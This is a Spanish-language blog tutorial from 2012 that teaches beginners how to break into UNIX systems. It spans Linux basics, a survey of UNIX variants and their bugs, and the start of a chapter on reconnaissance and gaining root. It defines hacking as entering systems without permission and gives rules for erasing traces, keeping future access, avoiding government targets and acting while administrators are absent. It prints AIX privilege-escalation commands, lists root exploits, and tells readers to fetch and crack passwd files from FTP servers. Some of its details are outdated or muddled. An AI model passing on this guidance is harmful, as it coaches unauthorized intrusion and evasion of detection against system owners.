sábado, 16 de junio de 2012

Como ser un hacker

Capítulo 1.
El arte del Hacking
    Saludos, internautas de Lanus y a los otros tambien.  voy a intentar resumir en cuatro o cinco lecciones lo que yo creo que debés saber si   querés convertirte en hackers. Este curso está orientado a todas aquellas personas que estén interesadas en aprender el arte del hacking, pero del hacking tal y cómo se entiende, y esta es una cuestión que vamos a tratar especialmente   en esta unidad.

    Pero ¡cuidado! Este curso, tal y como su nombre indica, es de carácter introductorio. Todo lo que voy a enseñar no es más que lo que tenés que aprender para empezar, de alguna manera, a hackear. Es simplemente lo más básico, con esto no  vas a convertir en élite. Deberas buscar más material y con el tiempo acabaras siendo élite, pero no quieras aprenderlo todo en un día, y no te obsesiones mucho en este pequeño tutorial. Simplemente tómalo como el primer paso para entrar en el hacking. Una vez hayas hecho este paso ya estarás dentro y no  será fácil salir.

¿Por qué un curso de carácter introductorio y no uno completo?

    Para empezar, creo que lo que más cuesta es iniciar, empezar a hacer algo de hacking. Es decir, te podés pasar horas leyendo documentos en inglés que pueden explicar cosas muy interesantes como el IP Spoofing o cómo programar caballos de troya en C, pero que no te serán de utilidad si antes no sabés que tenés que tener determinado sistema operativo y unos determinados conocimientos básicos para aprovechar ese material. Y es que, de hecho, en Internet hay pocos tutoriales que realmente expliquen paso a paso qué hacer para empezar a hackear. Por eso creo que este tutorial cumple una función muy importante. Como ya te e dicho antes, con este tutorial podes dar un primer paso. Luego, ya te vas a despabilar solito. En segundo lugar, aunque llevo un tiempo en esto del hacking, no me considero élite y no tengo suficientes conocimientos para hacer un curso completo que abarque todo lo que se puede hacer hackeando.

¿Requerimientos?
    No importa si no sabéis mucho de informática, lo más importante es que tengás ganas de aprender y no seás muy perezoso


El curso se divide básicamente en:

       Introducción al hacking
       Teoría: Entorno LINUX (incluyendo ejemplos, ejercicios prácticos, etc…)
       Teoría: Entornos UNIX internacionales
       Métodos de hacking: entrar un sistema

Antes de empezar…
He aquí unas definiciones que debes saber, porque las voy a ir usando durante el curso. Estas son solo las básicas, a medida que avance el curso iras aprendiendo más. La mayoría de estas definiciones las sabras pero, repito, este curso está orientado a toda clase de usuarios, expertos y novatos.

Linux : Sistema Operativo multiusuario, versión UNIX de PC.
Login: Nombre de usuario que se usa para entrar en un sistema determinado

Password:Clave que tiene cada usuario para entrar en un sistema determinado

Anonymous: Login predeterminado para sistemas que dejan entrar usuarios libremente sin pedírles identificación. Esto comporta siempre limitaciones y restricciones.
FTP: File Transfer Protocol. Es el puerto 21 de un sistema determinado, que usa un programa servidor de FTP para que otros usuarios entren con un programa cliente de FTP con el fin de poder subir/bajar archivos de/a ese sistema.

Telnet: Corresponde al puerto 23 de un sistema determinado. Podemos entrar en él y, dependendiendo del tipo de cuenta que tengamos en el sistema podemos manipular ese ordenador como si fuese nuestro, tecleamos las órdenes como las teclearíamos en nuestro Linux.

Listening: Se dice que un ordenador está listening si está esperando conexiones, es decir, si acepta conexiones remotas. Cualquier ordenador que esté listening es vulnerable, nunca olvides esto.

Root: Es el super-usuario de un sistema determinado, lo cual quiere decir que puede manipular el ordenador sin ningún tipo de restricción. Esto significa que puede ver/manipular/eliminar cualquier archivo de cualquier directorio del sistema. El root es, por supuesto, el amo del sistema, pero cualquier usuario que tenga acceso a éste, puede, si sabe cómo, obtener este nivel. Es de hecho en lo que se basa el hacking.

IP: Es la combinación de números que nuestro proveedor de Internet nos asigna cada vez que conectamos y que nos identifica. Ejemplo: 194.179.106.2 (xxx.xxx.xxx.xxx). Cada usuario de Internet tiene una distinta. Los sistemas, por supuesto, también tienen la suya, pero es fija y por eso su Host también es fijo. Ciertos usuarios también pueden contratar una IP fija si lo desean en su proveedor.

Host: Es la manera fácil de leer una IP, ya que está formada por palabras y algunos números. Ejemplo: ppp342.redestb.es.


Introducción al Hacking. ¿Qué es el hacking?


    Si hiciésemos esta pregunta a cien personas, quizás solo quince nos dirían una definición adecuada y correcta. El Hacker es aquella persona capaz de irrumpir en un sistema cualquiera, sin permiso previo, para leer, modificar, o simplemente curiosear entre la información que hay dentro de este, y marchar sin dejar ningún rastro. Un hacker no es aquella persona que anda por el IRC diciendo a todo el mundo: "Soy un hacker de la élite y te voy a romper el ordenador y la reparación te va a costar … " . Esas personas ni son hackers ni son élite, simplemente son personas que se aburren, que tienen complejos de inferioridad y que no saben en qué invertir su tiempo.
¿Para qué sirve el hacking?

    A parte de ser un entretenimiento que te hace aprender mucho sobre sistemas, es un reto intelectual que te somete a un espíritu de constante superación. Es peligroso, sí, pero eso es parte del juego. El hacking te llena además de amplios conocimientos de sistemas y telecomunicaciones en general. Aprendes a usar un sistema operativo alternativo (LINUX), descubres los errores de TCP/IP, los fallos de seguridad de los sistemas UNIX… Es en definitiva una manera de ampliar nuestros conocimientos si de verdad nos interesa estemundoque es la informática.
Las normas del hacking

    Hay muchos boletines en Internet que contienen las normas, los mandamientos, es decir, las pautas que tiene que seguir un buen hacker. Estas diez normas son las que yo creo más importantes:

    No hay que hacer acciones que perjudiquen a terceras personas. Por ejemplo, borrar el contenido de un directorio de inicio de un usuario que no conocemos de nada.

    No hay que dar nunca nuestros datos personales en ningún sitio, solo a las personas que conozcamos y tengamos confianza en ellas.

    No hay que hackear en sistemas gubernamentales. Nos encontrarían fácilmente. Las pequeñas empresas y las universidades muchas veces no se permiten el lujo de buscarnos en el caso que nos dejemos nuestra IP en el sistema.

    No hay que dar datos del sistema en el que estamos hackeando a nadie. ¿No querrás que otro hacker te robe el trabajo que llevas hecho?

    Solo destruiremos aquella información que nos perjudique o que perjudique a alguna persona, no destruiremos nada si no tenemos ningún buen motivo para hacerlo.

    Modificaremos solo los archivos que borren nuestras huellas y los que nos permitan un futuro acceso.

    Si nos detienen es porque hemos hecho algo mal, siempre que hayamos dejado intacto el sistema no tienen nada que alegar en contra nuestra, a no ser que hayamos tenido acceso a información muy privada, de sistemas muy importantes como la FBI, la NASA… entonces hay que contactar con un abogado. A un buen hacker no le caen nunca condenas grandes.

    No hay que estar más de dos horas conectado a un sistema cuando se es root.

    Hackearemos cuando estemos seguros de que el sysop del sistema no esté delante del ordenador (por la noche o en festivos).

    No usaremos nukes, mail bombs, ni cosas por ell estilo para putear a otras personas, a no ser que tengamos un buen motivo para hacerlo. Es decir, no usaremos esos programas por simple diversión.

Lo básico del hacking

    Ahora ya sabés qué es y para qué sirve el hacking, y cómo te tenes que comportar si querés ser buen hackers. Este punto aclarará todas o casi todas las dudas que tengás una vez llegado aquí. Cada uno de ustedes tendrá una motivación diferente respeto al hacking. Pero debés conocer las fronteras y los límites de este. Es decir, lo que podés y lo que no podés hacer sabiendo hackear.

    Para empezar, no os hagás ilusiones, no podrás entrar en el ordenador de un amigo y manejar el prompt de MS-DOS como si estuvieras ahí. Entrar en un ordenador que no está listening (esperando conexiones) es más difícil y se hace a través de un puerto que muchos, casi todos los usuarios de Internet suelen tener abierto. Pero esto no lo voy a explicar porque la intención del curso no es esta.

    En este curso solo aprenderás a entrar en ordenadores UNIX, y que tengan al menos telnet o ftp en listening. No ote preocupes la mayoría de ordenadores de universidades, ftp’s y demás usan UNIX,

solo unos pocos usan sistemas como Mac o NT.

    Ahora es muy difícil poder hackear ordenadores de proveedores de Internet, ya no suelen tener el telnet nunca abierto.

    "Este curso está enfocado al hacking desde LINUX, que es el sistema UNIX que podemos tener más a mano. En el próximo capítulo voy a explicar cómo conseguir LINUX y cómo instalarlo. Desde Win 98 se pueden hacer muchas cosas instalando programas que ya vienen preparados para estas funciones,
como ser scaner de puertos, buscadores de direccio
nes ip etc...."


Les gusto ??????? sigan que el curso no termina...
HA!!!, recomienden la pagina a sus amigos.
ByE... ByE...
    Capítulo 2.
Manejando Linux,


Qué es LINUX

Iniciarse en el entorno LINUX/UNIX

Entender el entorno multiusuario UNIX

Otros ejercicios prácticos para LINUX


Si estas aca porque ya leiste el capitulo anterior

Lo que es en realidad el hacking

Para qué sirve el hacking

Cómo se comporta un hacker

¿Qué es LINUX?
LINUX es la versión del sistema operativo multiusuario UNIX para PC. Se trata de un SO de dominio público y totalmente gratuito que se distribuye por Internet y por revistas. Consulta el primer capítulo del curso introductorio al Linux en las paginas de lanusonline para obtener más información acerca de qué es Linux y cómo conseguirlo. Así mismo, en la próxima lección te dare información más técnica sobre Linux así como algunos de sus bugs más conocidos.

En este capítulo vamos a tratar a partir del Linux los comandos más básicos de los sistemas UNIX en general, el sistema de ficheros y de directorios, el sistema multiusuario de UNIX...

Consigue Linux y empieza a leer este capítulo.

Iniciarse en el entorno Linux
Antes que nada debes saber que para poder tener en un mismo disco los dos sistemas operativos
instalados o sea win y linux deberas particionar este y instalarle el LILO, que es un arranque dual
para que puedas elegir con que sistema queres trabajar

Después de teclear la palabra Linux en el prompt del LILO veremos el sistema de arranque de este sistema, cómo nos va detectando cada dispositivo, etc...

Finalmente aparecerá el prompt de inicio



"

Welcome to Linux 2.0.1

Host Login:

"

(Host es el host que hemos asignado a nuestro ordenador)

Cuando instalamos Linux entramos como root, porque por defecto la cuenta de root ya está creada. Así que solo tenemos que entrar como root y ya estamos dentro, no nos pedirá ningún password. Una vez dentro, vamos a establecer un password para que nadie más que nosotros pueda entrar como root. No seas lamers y busca un password realmente difícil de desencriptar, que no sea una palabra sola sino que sea una serie de letras y números que no tengan sentido. Un buen root pone siempre un password de este tipo ya que los hackers suelen utilizar programas de desencriptación asociados a diccionarios (palabras agrupadas según temas) para desencriptar el password, pero todo esto lo explicaré más adelante.

Solo tenes que teclear:



# passwd root

Y a continuación introducir el password que hayás pensado. Más adelante vamos a ver cómo crear más cuentas y todo lo relacionado con el entorno multiusuario que es Linux.

Ahora echale un vistazo a lo que tenés delante. Sí, es como un MS-DOS pero con colores (depende de la distribución). Las últimas distribuciones incluyen, además, un entorno gráfico muy parecido a Windows 98, llamado X-Windows, que no voy a explicar cómo instalar porque no es de vital importancia para hackear., pero si para conectarte a internet, porque aunque linux es muy bueno tiene sus grandes
complicaciones a la hora de manejarse en el entorno del promt

Sistema de ficheros y directorios
Antes que nada tenemos que entender cómo son los ficheros en Linux y en UNIX en general. Pueden tener extensiones más extensas a tres caracteres, que es el máximo en MS-DOS y en Windows. Con un listado detallado (más adelante veremos cómo hacerlo) obtenemos una información así:

                                              *   1        2        3
(.)nombre del fichero.(extensión)   bytes   _  _ _ _ | _ _ _ | _ _ _
Si aparece el punto delante del nombre del fichero es que es un fichero oculto.

* - aquí puede haber una D, que nos indicaría que se trata de un directorio, no de un fichero

En estas tres casillas aparecen los accesos que tiene el owner sobre este fichero. El owner de un fichero es el que lo ha creado y el que puede cambiar los accesos de éste. Los accesos de un fichero son:

R - Si aparece una R es que se puede leer

W - Se puede escribir, alterar, modificar

X - Si es ejecutable, se puede ejecutar

De este modo, si en las tres casillas del owner hay una R, una W y una X es que el propietario de este fichero tiene todos los accesos sobre éste, cosa que es normal.

Los accesos que tienen que pertenecen al mismo grupo que el owner. En sistemas UNIX los usuarios pueden clasificarse por grupos por el root.

Los accesos que tiene cualquier usuario del sistema sobre el fichero.

Es importante que adquierás la costumbre de interpretar los accesos de cada fichero que quieras examinar. Cuando estés hackeando tendras que conocer siempre tus posibilidades sobre un fichero determinado.

En cuanto al sistema de directorios, es parecido al de MS-DOS. Los directorios pueden variar de un sistema UNIX a otro, pero todos tiene estos:

/usr/ - es donde están las cuentas de inicio de cada usuario

/adm/ - directorio exclusivo para el admin del sistema

/root/ - directorio de inicio para el admin del sistema

Comandos más utilizados para manejar ficheros
- Cp - Este comando sirve para hacer copias de un fichero. Y esta es su sintaxis:



cp (fichero a copiar) (fichero destino)

Así, si queremos hacer una copia de un fichero llamado "hacking.13886" a uno que simplemente se llame "138" haremos:



# cp hacking.13886 138

El fichero a copiar sigue intacto, solamente hemos hecho una copia sin borrar el fichero original.

- Rm - Este comando sirve para eliminar uno o más ficheros. Esta es su síntaxi:



rm (fichero a eliminar1) (fichero a eliminar2) (etc)

También podemos elliminar directorios con este comando. Con rm (directorio) eliminamos un directorio suponiendo que esté vacío. Si añadimos la opción -r podemos eliminar directorios llenos, incluso con subdirectorios.

- Cat - Este comando nos permite ver el contenido de un fichero sin editarlo. En un terminal sencillo (que no sea X-Windows), si el contenido es muy largo solo vamos a ver el final de este fichero. Podemos ver el contenido de varios ficheros a la vez, ya que su sintaxis es:



cat (fichero a ver1) (fichero a ver2) (etc)

- Mv - Con este comando podemos mover el contenido de un directorio a otro directorio. Podemos hacer lo mismo con dos ficheros, pero el fichero de inicio queda eliminado al mover todo su contenido al fichero de destino.



mv (directorio/fichero inicio) (directorio/fichero destino)

- Chmod - Nos permite cambiar los accesos de un archivo. Su síntaxis es algo complicada:



chmod (tipo de acceso)+(acceso) (fichero)

Tipo de acceso: Aquí tenemos que escribir una letra, que nos servirá para especificar si queremos cambiar los accesos para todos los usuarios, para el owner, o para los del grupo:

(a)ll, accesos para todos

(o)wner, accesos para el owner

(g)roup, accesos para el grupo

Acceso: Aquí tenemos que especificar cualquiera de estos tres accesos: R, W, X, que como ya sabés son de lectura, de escritura y de ejecución respectivamente.

Ejemplo: Si queremos cambiar el acceso del fichero host.equiv para que todos los usuarios puedan modificarlo (algo que no debé hacer nunca) haríamos:



# chmod a+w host.equiv

- Find - Es un buen buscador presente en casi todos los sistemas UNIX que nos permite encontrar cualquier fichero. Esta es su sintaxis:



find . -name (razón de búsqueda)* -print

Naturalmente es un programa complejo y se puede usar de muchas maneras pero esta es la manera en que yo lo uso casi siempre. La razón de búsqueda es simplemente un trozo del nombre de un fichero o el nombre del fichero. Por ejemplo, si sabemos que hay un fichero que se llama lilo pero no sabemos como acaba y tampoco donde está, pondremos:



# find . -name lilo* -print

Nos encontrará varios ficheros con su ruta completa y decidiremos cuál es el que estábamos buscando, que en este caso sería lilo.conf



/etc/lilo.conf

- File - Este comando, en cualquier sistema UNIX nos permite obtener información básica acerca de un fichero, no el contenido del mismo. Podemos ver en pantalla la información de varios ficheros a la vez ya que su síntaxis es:

file (fichero1) (fichero2) (etc)

Comandos más utilizados para moverse por los directorios
- Pwd - Si escribimos pwd en el prompt, obtenemos la ruta completa del directorio en el que estamos. Si simplemente sale una / es que evidentemente estamos en la raíz.

# pwd

/usr/

- Ls - Hace un listado de los ficheros del directorio activo. Si sólo escribimos Ls, veremos los ficheros que son visibles. Con ls -a veremos el listado de todos los ficheros. Con ls -l veremos, además todos los detalles de un fichero (excepto el contenido del mismo).

Atención: En un sistema UNIX, hay ficheros visibles y ficheros ocultos. Los ficheros ocultos llevan delante un punto (.), esto es muy importante y debes aprenderlo. Haz siempre un listado con los parámetros -la para ver todos los detalles del directorio.

- Cd - En Linux podemos desplazarnos por los directorios igual que en MS-DOS, con el comando CD. Hay unas ligeras diferencias. Cuando queremos cambiar al directorio anterior en vez de escribir



# cd..

Unknow command

Tenemos que escribir:

# cd ..

#

Eso es, con un espacio entre los dos puntos y el comando CD.

En muchos sistemas UNIX, si simplemente tecleamos CD nos movemos al directorio de inicio.



# cd

# pwd

/root

- Mkdir - Con este comando podemos crear directorios. Funciona como el comando md de MS-DOS.

Entorno multiusuario UNIX
Cuando decimos que UNIX es un sistema multiusuario nos referimos a que es un sistema diseñado para que pueda ser usado por usuarios distintos. Así, un sistema UNIX puede ser utilizado para que varios usuarios remotos (Internet) o locales (LAN, Ethernet) puedan conectarse a él y puedan estar dentro del sistema simultáneamente. Esto ya nos supone un problema, pues si nos paramos a pensar, en teoría cualquier usuario que pudiese conectar con el sistema podría hacer cualquier tarea, cualquier acción como la haría el propietario del sistema; en definitiva este usuario podría manejar a su antojo el ordenador, algo que sin duda el propietario del mismo no está dispuesto a permitir. Por eso se crean una serie de accesos, de prioridades, para hacer más fácil la convivencia entre los diferentes usuarios de un sistema UNIX (Más adelante aprenderemos a cambiar nuestro acceso para hacer lo que precisamente el propietario del sistema no quiere que hagamos, manejarlo como lo haría él).

Así pues, dentro de un sistema UNIX hay que diferenciar dos clases de usuarios:



   
1 - El usuario ordinario. Un usuario ordinario entra en el sistema gracias a una cuenta predefinida por el root, que consta de login y password, en un directorio de inicio. El login es el nombre por el cual los otros usuarios pueden identificarlo. El directorio de inicio es donde puede escribir o borrar ficheros, crear o borrar directorios, ejecutar programas... Este tipo de usuario puede ejecutar programas hechos por él ya sea en shell o en C y programas genéricos que cualquiera pueda ejecutar como es el ejemplo de un editor de texto. Generalmente no puede moverse de su directorio de inicio, lo que lo restringe de otras áreas del sistema. Cada usuario ordinario tiene en su directorio un archivo llamado .profile que es como un AUTOEXEC.BAT de MS-DOS, contiene comandos que, cuando hace un login al sistema, se ejecutan. Esto es importante que lo sepas porque se pueden crear caballos de troya en archivos .profile.

El ejemplo de este tipo de usuario puede ser el del típico estudiante universitario que se conecta a un sistema UNIX para escribir documentos relacionados con su carrera, o si es un estudiante de informática para aprender el entorno UNIX y saber programar dentro de él, etc..
hoy dia son muy pocos los sistemas que permiten programacion en sus entornos.

El directorio de inicio es visible por el root como /usr/login, donde login es el nombre del usuario, es decir, su login.

Podemos saber si somos un usuario ordinario si tenemos como prompt el signo:



$

Es decir, si antes de escribir un comando tenemos este signo.

Al escribir who nos debe salir nuestro login.



$ who

juan178

$

   
2 -
El usuario root o, en su defecto, el usuario con acceso de root. También llamado superusuario, es el usuario que tiene acceso a todo el sistema sin restricción alguna. En un principio solo el propietario del sistema puede acceder como root a su propio sistema, pero los hackers basan muchas veces sus ataques en intentar conseguir accesos de root a partir de una cuenta ordinaria. Es decir, que en cualquier sistema UNIX se puede llegar a conseguir acceso de root si se es lo suficientemente hábil. El principal problema de los sistemas UNIX desde mi punto de vista es que el root, como cualquier usuario tiene su propia cuenta. De esta manera podemos llegar a alterarla o incluso a crear otra cuenta con acceso de root. Más adelante veremos todo esto.

Sabremos si somos root si tenemos como prompt este signo:



#

Y si aún no nos lo creemos podemos escribir el comando who.



# who

root

#

Las cuentas, el fichero passwd
Ahora ya sabes que hay dos tipos de usuarios bien distinguidos en un sistema UNIX. Si un usuario puede entrar en un sistema es porque tiene una cuenta, esto lo entendemos, ahora bien ¿ Cómo sabe el sistema qué usuarios pueden entrar y cuáles no ? A través del fichero passwd. Localicémoslo. El fichero passwd se encuentra, en la mayoría de sistemas UNIX en el directorio /etc. Es sólo modificable por el root, pero leíble por todos los usuarios. Eso es un gran fallo ya que se puede aprovechar muchas veces para desencriptar contraseñas, algo que vamos a ver en el capítulo 4.

El fichero passwd contiene las cuentas del sistema, es decir, contiene la información de todos los usuarios que pueden hacer login al sistema, independientemente de su acceso (ordinario o root).



Es interesante que empieces a meterte en sistemas que acepten cuentas anónimas (por ejemplo, FTP's) para que veas cómo es el fichero passwd. La mayoría de FTP's dejan acceder como anonymous al sistema, sin ningún password. Consulta el final de esta unidad para hacer este ejercicio.

Sabemos, pues, que el fichero password lleva las cuentas de todos los usuarios del sistema. Cada linea del fichero es una cuenta, y en esta linea hay representados estos elementos:

login del usuario (ya sabemos lo que es)

password del usuario (no te iluciones nunca aparece tal como es)

nombre del usuario (en algunos sistemas) o número del usuario (en otros sistemas)

grupo al que pertenece el usuario

directorio de inicio del usuario

shell del usuario


En otra unidad veremos muchas más cosas sobre el fichero passwd, y aprenderemos a crackearlo y a aprovecharlo.

Desde nuestro LINUX podemos crear cuentas, con el comando adduser. Simplemente hay que teclear adduser y ir contestando a las preguntas que va haciendo.

Ejercicios para LINUX
Ahora, conviene que vayas practicando con tu LINUX. Te recomiendo que hagas estos ejercicios:

   
1 -
Crea directorios y ficheros. Por ejemplo, puedes empezar por crear un directorio con tu nombre y empezar a escribir un diario de tus experiencias como hacker.

Para editar o crear ficheros puedes usar el editor "vi". Simplemente tienes que escribir "vi" y el nombre de fichero que quieras crear/editar. Inicialmente, con la letra A empiezas a escribir. Con ESC activas el modo de no-escribir con el que puede borrar líneas apretando dos veces la tecla R, con ":wq" salvas lo que has escrito y con ":q!" quitas sin salvar.

Pero mejor aprende a usar el editor ED, porque el Vi no está en todos los sistemas UNIX.

   
2 - Configura tu Linux para el acceso a Internet. Esto puedes conseguirlo buscando información al respeto.  busca por Internet, seguro que encontrarás programas o información para hacerlo.


   
3 - Haz sesiones en FTP's. Esto lo puedes hacer escribiendo FTP y el host de la máquina en la que quieres entrar. Muchos FTP's aceptan usuarios anónimos, así que no hay problema. Busca y bájate el archivo passwd y empieza a mirártelo.

   
4 -
Curiosea sanamente en tu LINUX. Esto quiere decir que no toques algo si no sabes lo que es, simplemente dedícate a moverte por los directorios y a observar qué hay. Siempre con mucho cuidado.

   
5 - Crea cuentas, con el comando adduser.                              

Y??? lo estas siguiendo ???? te gusto el capitulo 2 ???
No te muevas de esa silla que hay 2 capítulos más.....
Capítulo 3.


Breve análisis a los sistemas Unix
En esta unidad aprendera


Más sobre los sistemas UNIX

Tipos de sistemas UNIX

Características de los sistemas UNIX más importantes

Si estás aquí se supone que sabes:

Lo que es en realidad el hacking

Para qué sirve el hacking

Cómo se comporta un hacker

Qué es LINUX

Iniciarse en el entorno LINUX/UNIX

Entender el entorno multiusuario UNIX

Otros ejercicios prácticos para LINUX


Bien, en este minicapítulo vamos a aprender algo sobre los sistemas UNIX universales, casi todos los que existen en Internet. Inicialmente esta información no te será de gran utilidad, pero más adelante si.

Sistemas UNIX
    Desde los orígenes de Internet, este ha estado formado básicamente por máquinas UNIX. Se trata de un sistema multiusuario que es usado, básicamente, como servidor. Así, podemos encontrar máquinas UNIX en servidores de FTP, en servidores de correo electrónico, en servidores de WWW, en servidores de IRC... Pero dado su entorno multiusuario es también usado mucho en Universidades, Bancos, así como en algunas entidades gubernamentales. Actualmente el número de sistemas UNIX en Internet está disminuyendo y está aumentando el de sistemas NT, aunque UNIX sigue siendo claramente superior (alrededor del 65% de máquinas de Internet son UNIX). El otro 35%, lo forman básicamente sistemas como el NT, ya mencionado, aunque también existen otros como VM/CMS, VM/ESA, VMS...

Clasificación de sistemas UNIX
    Inicialmente podemos dividir los sistemas UNIX según el tipo (BSD, System V, etc...). Pero en este capítulo vamos a hacer una distinción según los fabricantes de cada sistema UNIX:

AIX - Fabricado por IBM

SunOS y Solaris - Fabricados por Sun

HP-UX - Fabricado por Hewlett Packard

Ultrix y OSF/1 - Fabricados por DEC


Aunque Linux no ha estado fabricado por ninguna multinacional, he creído conveniente incluirlo en esta lista.

Linux - UNIX para PC, no ha sido fabricado por ninguna multinacional


Estos son los más importantes, después hay otros como el IRIX, el Convex, el UnicOS... de menor proliferación.

Voy a describir cinco de estos sistemas: AIX, SunOS, Solaris, Linux y HP-UX.


AIX:

    AIX es la versión UNIX de IBM. Desde que salió ha sido de los sistemas que más bugs ha presentado. Para que tengas una idea, la versión 3.25 tenía fallos tan gordos como estos:

   
1 - El comando lquerypv podía ser utilizado para leer cualquier archivo:



$ lquerypv -h /etc/passwd

root:Xds4cdXcMoV:0:0::/root:/bin/bash

...

   
2 -
Este bug habla por sí solo:



$ echo "badboy::0:0:blablabla:/:/bin/sh" >>/etc/shadow

$ telnet localhost

login: badboy

# whoami

root

   
3 -
Otro bug:

$ rlogin localhost -l -froot

# whoami

root

   
4 -
Y otro bug que permite enROOTarse:



$ tproof -x /bin/sh

Naturalmente, existen parches para estos bugs tan tontos.

La versión 3.25 fue substituida por la 4.1, aunque esta también presenta errores (como todos los sistemas). Estos son los cambios de la 3.25 a la 4.1:



Versión 3.25 y 4.1.x

Tanto la versión 3.2.5 como la 4.1 de AIX son compatibles con los tres sistemas IBM RISC System/600 (POWER, POWER2 y PowerPC 601). La versión 4.1, además, incorpora compatibilidad con sistemas PowerPC.

En la versión 4.1 se incluyen los estandartes de programación POSIX 1003.2 y 1003.2a, FIPS 151-2 y XPG4.

Las librerías TCP/IP permiten el uso de BIND y NIS para resolver direcciones IP.

En la versión 4.1, el IP forwarding está, por defecto, desactivado.


SunOS

Se trata de un sistema de la casa Sun. Estos son sus fallos:

    El SunOS, es, inicialmente vulnerable a IP Spoofings, si la opción Source routing está activada. Aunque, para que SunOS sea totalmente seguro a un ataque de spoof, se tienen que introducir ciertas modificaciones en el kernel referentes a IP forwarding. Por eso, probablemente en este sistema una táctica muy aconsejable es el IP Spoofing.

SunOS También presenta fallos en la configuración NFS, a no ser que esté activado el NFS por monitoring (por defecto no lo está).

Un fallo muy importante es que, inicialmente, la librería ruserok(3) permite el acceso a .rhosts y a hosts.equiv con cualquier comando "r".

El fichero /dev/eeprom es inicialmente leíble por cualquier usuario, pero este suele ser un bug que casi todos los admins suelen solucionar. Otro bug tonto: muchos admins dejan activada la cuenta "sync" sin password.

Linux
    Linux es el famoso sistema operativo disponible para PC y para otras plataformas. Añade a UNIX un SO de 32 bits, soporta multitud de dispositivos (PCI, SCSI...) y es capaz de leer FAT32 y NTFS. Se trata de un sistema especialmente estable y fiable, poco propenso a colgarse. Pone a disposición del usuario el código fuente del Kernel. Funciona en un 386 con 4 de RAM, gracias a que sólo utiliza los recursos que necesita.( ojo esto ya ha quedado muy lejos, dado que las ultimas versiones de linux consumen tantos o mas recursos que windows, por ejemplo la red-hot 6.2 la instalacion minima requiere 500Mg. la de Corel una de las mas pequeñas y parecida a win 300 Mg,   si queres probar con una distribucion viejita que si cabe en pequeñas pc tenes que instlarte la red-hot 5.2, pero te diria que te vas a venir loco para navegar dado que trae fallos ( esa es la manera que yo interpreto) en el netscape Es multitarea y incorpora un entorno gráfico parecido a Windows 98, llamado X-Windows. Hay diferentes distribuciones de Linux, y no todas son gratuitas, las más importantes (gratuitas) son:

Slackware : Se puede conseguir en ftp.cdrom.com:/pub/Linux/slackware.

Debian: Para conseguirla, se puede hacer un ftp a ftp.debian.org o en slug.ctv.es.

Red Hat: ftp.redhat.com para conseguirla.


Como principales bugs voy a destacar:

En Debian Linux 2.0, /usr/bin/suidexec permite nivel de root a cualquier usuario.

En cualquier sistema Linux se puede sobreescribir un buffer en /usr/X11/bin/color_xterm para obtener nivel root.

En cualquier sistema Linux se puede exploitar la librería vsyslog() 5.4.38 para obtener root.

Aunque es un bug muy viejo, se puede obtener nivel root sobreescribiendo un buffer en /usr/bin/splitvt

En distribuciones RedHat de Linux, se puede conseguir nivel root sobreescribiendo un buffer en /usr/bin/zgv

Solaris
    Se trata de un sistema mejorado de la misma casa que SunOS (por supuesto, SUN). Las últimas versiones de este sistema se caracterizan por contener un mejorado sistema de WebNFS.

Pero como todo sistema, Solaris tiene también muchos bugs. Los más importantes son:

Se pueden crear o borrar cualquier tipo de ficheros como si fuésemos root usando el statd (sólo en la versión 2.5.1)

el sistema se cae si el syslog recibe un mensage y no puede resolver la IP que lo ha producido.

En cualquier sistema Solaris 2.x, podemos petar o reiniciar el sistema con un ping flood (enviando una gran cantidad de paquetes de manera que se quede bloqueado)

Se pueden aprovechar los archivos /usr/bin/ps y /usr/ucb/ps para conseguir acceso root en cualquier sistema Solaris

Así mismo, sobreescribiendo un búfer determinado en /usr/bin/fdformat también podemos conseguir root en cualquier Solaris 2.x

También se puede aprovechar y explotar /usr/lib/nis/nispopulate en los sistemas Solaris 2.5

Sobreescribiendo un búfer determinado en el archivo passwd podemos enROOTarnos, sólo en la versión 2.5, igualmente, en esta versión podemos explotar /usr/openwin/bin/kcms_calibrate para obtener root

HP-UX
HP-UX ha sido fabricado por la conocida multinacional Hewlett Packard. Se han hecho multitud de versiones de este sistema, tanto es así que una de las últimas versiones es la 9.01. A diferencia de otros sistemas UNIX, presenta pocos bugs, de los cuales destaco:

    SAM (System Administration Manager) puede ser usado en cualquier sistema HP-UX para modificar archivos.

    En la versión HP-UX 9, el programa rpc.mountd contiene un bug que puede ser explotado para obtener privilegios NFS.

Capítulo 4
Entrar en un sistema y "enrootarse"
En esta unidad aprenderás:
Cómo recoger información del sistema al que queremos entrar
Técnicas para entrar sin tener una cuenta en el sistema
Cómo conseguir root dentro del sistema
Qué hacer una vez se es root en el sistema
Cómo asegurar el futuro acceso al sistema una vez se es root

Si estás aquí se supone que sabés:

Lo que es en realidad el hacking

Para qué sirve el hacking

Cómo se comporta un hacker

Qué es LINUX

Iniciarse en el entorno LINUX/UNIX

Entender el entorno multiusuario UNIX

Otros ejercicios prácticos para LINUX

Mucho sobre sistemas UNIX

Clasificación de sistemas UNIX

Características de los diferentes sistemas UNIX


Bien, estamos ante la lección clave de este curso. Para entenderla, es esencial que hayas leido las lecciones anteriores, especialmente la 1 y la 2.

Entrar en un sistema:
Esta es la acción principal y primordial para hackear.

La acción de entrar en un sistema se puede dividir en dos fases :

Recopilacion de informacion

Incursión en el sistema:

o bien

A través de una cuenta shell

A través de otros métodos

Pero también tenemos que saber que la entrada en un sistema puede ser, según el nivel de privilegio:

Directamente como root

Como usuario normal

como usuario anónimo (pero esta última queda descartada ya que como usuario anónimo no podemos hacer prácticamente nada.)

Así pues, antes de entrar en un sistema (aunque ya tengamos una cuenta shell), tenemos que pasar por la etapa de recopilacion de informacion

1 - Recopilacion de información
La información que debemos saber de cualquier sistema la vamos a dividir en:

Información primordial

Información extendida

Información complementaria

La información primordial la tenemos que saber sea como sea, si no, ya nos podemos olvidar del sistema y buscarnos otro. La información extendida nos será de utilidad más adelante, y la complementaria... bueno, siempre va bien tenerla.

Información primordial: cuál es y cómo se consigue
La información primordial de cualquier sistema es qué Host/IP tiene, así como la versión de UNIX que usa. Si tenemos el host y queremos saber la IP, basta con teclear:



# nslookup <host>

Una vez sabemos el Host/IP de un sistema, tenemos que hacer un telnet a éste y observar qué versión de UNIX usa. El nombre del sistema nos basta para la información primordial (si es SunOS, si es Solaris, si es Linux, etc...).



# telnet <host>
SunOS v3.25
login:

Información extendida: cuál es, para qué usarla y cómo se consigue
Al hacer el telnet, no estaría mal que apareciese qué versión (sea el UNIX que sea) está usando. Es un dato que puede ayudarnos a elegir exploits para usarlos más adelante.

